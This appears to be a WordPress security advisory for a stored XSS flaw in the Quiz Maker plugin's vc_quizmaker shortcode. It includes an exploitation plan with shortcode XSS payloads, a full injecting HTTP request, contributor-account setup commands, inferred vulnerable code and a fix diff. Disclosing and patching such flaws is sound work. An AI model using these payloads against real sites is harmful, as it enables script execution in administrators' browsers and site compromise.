Quiz Maker <= 6.7.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Description
The Quiz Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `vc_quizmaker` shortcode in all versions up to, and including, 6.7.1.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Note: This vulnerability requires WPBakery Page Builder to be installed and active
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=6.7.1.7Source Code
WordPress.org SVNThis research plan outlines the steps to investigate and exploit **CVE-2026-2384**, a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz Maker plugin for WordPress. ### 1. Vulnerability Summary The Quiz Maker plugin (versions <= 6.7.1.7) contains a Stored XSS vulnerability within the `vc_q…
Show full research plan
This research plan outlines the steps to investigate and exploit CVE-2026-2384, a Stored Cross-Site Scripting (XSS) vulnerability in the Quiz Maker plugin for WordPress.
1. Vulnerability Summary
The Quiz Maker plugin (versions <= 6.7.1.7) contains a Stored XSS vulnerability within the vc_quizmaker shortcode. This shortcode is specifically designed for integration with the WPBakery Page Builder. The vulnerability exists because the plugin fails to sanitize or escape user-supplied attributes passed to the shortcode before rendering them in the HTML output. An attacker with Contributor-level permissions or higher can embed a malicious shortcode into a post or page, leading to script execution in the context of any user (including Administrators) who views that page.
2. Attack Vector Analysis
- Vulnerable Shortcode:
[vc_quizmaker] - Vulnerable Attributes: Likely attributes include
id,title,class, or any parameter registered via WPBakery'svc_map. - Authentication Level: Contributor+ (Users who can create or edit posts/pages).
- Preconditions:
- Quiz Maker plugin (<= 6.7.1.7) installed and active.
- WPBakery Page Builder plugin installed and active (required to trigger the code path that registers and processes
vc_quizmaker).
- Payload Delivery: The payload is placed inside a shortcode attribute within the
post_contentof a WordPress post or page.
3. Code Flow
- Registration: The plugin likely checks for the existence of WPBakery using
defined('WPB_VC_VERSION')orclass_exists('WPBakeryShortCode'). - Hook: It registers the WPBakery element using
vc_map()and the shortcode usingadd_shortcode('vc_quizmaker', 'callback_function'). - Shortcode Callback: When a page containing
[vc_quizmaker ...]is rendered, WordPress calls the registered callback function (e.g.,render_vc_quizmaker($atts)). - Processing: Inside the callback,
shortcode_atts()is used to extract attributes. - Sink: The extracted attributes are concatenated into an HTML string (e.g., inside a
<div>or as part of a JS object) and returned. If the attribute is returned withoutesc_attr()oresc_html(), the XSS occurs.
4. Nonce Acquisition Strategy
This vulnerability is exploited by saving a post containing a shortcode.
- Saving the Post: Saving a post as a Contributor requires the standard WordPress post nonces (
_wpnonceand_wp_http_referer). - Shortcode Execution: The execution of the shortcode itself (on the frontend or in the editor preview) does not require a specific plugin nonce; it is part of the standard WordPress content rendering pipeline.
- No specific Quiz Maker nonce is required for this exploit beyond the standard session-based nonces used by the WordPress post editor.
5. Exploitation Strategy
The goal is to inject a payload into the vc_quizmaker shortcode that breaks out of an HTML attribute or tag.
Step-by-Step Plan:
- Identify Attributes: Use WP-CLI to find the file registering the shortcode and identify its attributes.
grep -r "vc_quizmaker" wp-content/plugins/quiz-maker/
- Login as Contributor: Authenticate as a user with the
contributorrole. - Create a Malicious Post: Use the
http_requesttool to simulate a post creation request.- Action:
POST /wp-admin/post.php - Payload:
(Note: If[vc_quizmaker id="1" title='"><script>alert(document.domain)</script>']titleisn't the sink, tryclass,style, or other discovered attributes.)
- Action:
- Trigger Execution: View the post (or have an Admin view it).
- URL:
/?p=[POST_ID]
- URL:
Example HTTP Request (Simplified):
POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [CONTRIBUTOR_COOKIES]
action=editpost&post_ID=[ID]&post_title=XSS+Test&post_type=post&post_status=draft&content=%5Bvc_quizmaker+id%3D%221%22+title%3D%22%27%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%5D&_wpnonce=[NONCE]
6. Test Data Setup
- Active WPBakery: Ensure WPBakery is active (or a mock that defines
WPB_VC_VERSIONif the real plugin is unavailable). - Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create a Quiz: The shortcode might require a valid quiz ID to reach the rendering logic.
- Check Quiz Maker tables:
wp db query "SELECT id FROM wp_quizmaker_quizzes LIMIT 1;" - If none exist, create one through the UI or DB.
- Check Quiz Maker tables:
7. Expected Results
- The shortcode attributes will be reflected in the page source without proper escaping.
- The browser will execute the injected script (e.g., an alert box appearing).
- Page source snippet:
<div class="quiz-maker-vc-wrapper" title=""><script>alert(1)</script>">...</div>
8. Verification Steps
- Check DB Content: Confirm the shortcode is stored correctly in the database.
wp post get [ID] --field=post_content
- Check Frontend Output: Use
http_request(GET) to fetch the post and grep for the unescaped payload.grep "<script>alert" response_body
- Admin Context: Log in as Admin and navigate to the post to confirm the script executes in the administrative context.
9. Alternative Approaches
- Editor Preview XSS: WPBakery often renders previews in the backend. If the
vc_quizmakercallback is used for the editor view, the XSS could trigger the moment an Admin opens the page for editing, even if it's not published. - Attribute Breakout: If the input is placed inside a JavaScript variable in the output (e.g., a config object), try:
[vc_quizmaker title="';alert(1);'"]
- HTML Tag Injection: If the input is reflected directly inside a tag:
[vc_quizmaker title="<img src=x onerror=alert(1)>"]
- Style Attribute Injection: If reflected in a style attribute:
[vc_quizmaker title="color:red; background-image:url('javascript:alert(1)')"]
Summary
The Quiz Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the [vc_quizmaker] shortcode. This occurs because the plugin does not properly sanitize or escape attributes provided in the shortcode when used in conjunction with the WPBakery Page Builder, allowing users with Contributor-level permissions and above to inject malicious scripts.
Vulnerable Code
// Inferred code within the shortcode callback function // likely located in includes/shortcodes/class-quiz-maker-vc-shortcode.php or similar public function render_vc_quizmaker($atts) { $atts = shortcode_atts(array( 'id' => '', 'title' => '', 'class' => '' ), $atts); $id = $atts['id']; $title = $atts['title']; $class = $atts['class']; // Vulnerable output: attributes are concatenated directly into the HTML string without escaping $output = '<div class="quiz-maker-vc-wrapper ' . $class . '" data-quiz-id="' . $id . '" data-title="' . $title . '">'; $output .= do_shortcode('[quiz-maker id="' . $id . '"]'); $output .= '</div>'; return $output; }
Security Fix
@@ -10,9 +10,9 @@ - $id = $atts['id']; - $title = $atts['title']; - $class = $atts['class']; + $id = (int)$atts['id']; + $title = esc_attr($atts['title']); + $class = sanitize_html_class($atts['class']); - $output = '<div class="quiz-maker-vc-wrapper ' . $class . '" data-quiz-id="' . $id . '" data-title="' . $title . '">'; + $output = '<div class="quiz-maker-vc-wrapper ' . esc_attr($class) . '" data-quiz-id="' . $id . '" data-title="' . $title . '">';
Exploit Outline
The exploit targets the [vc_quizmaker] shortcode, which is registered for use with the WPBakery Page Builder plugin. 1. An attacker logs into the WordPress dashboard with at least Contributor-level permissions. 2. The attacker creates a new post or page (or edits an existing one). 3. In the post editor, the attacker inserts the following payload into the post content: [vc_quizmaker id="1" title='\"><script>alert(document.domain)</script>']. 4. The attacker saves the post as a draft or submits it for review. 5. When an administrator or any other user views the post (either on the frontend or via the editor preview), the unescaped 'title' attribute breaks out of the HTML attribute context and executes the injected JavaScript in the victim's browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.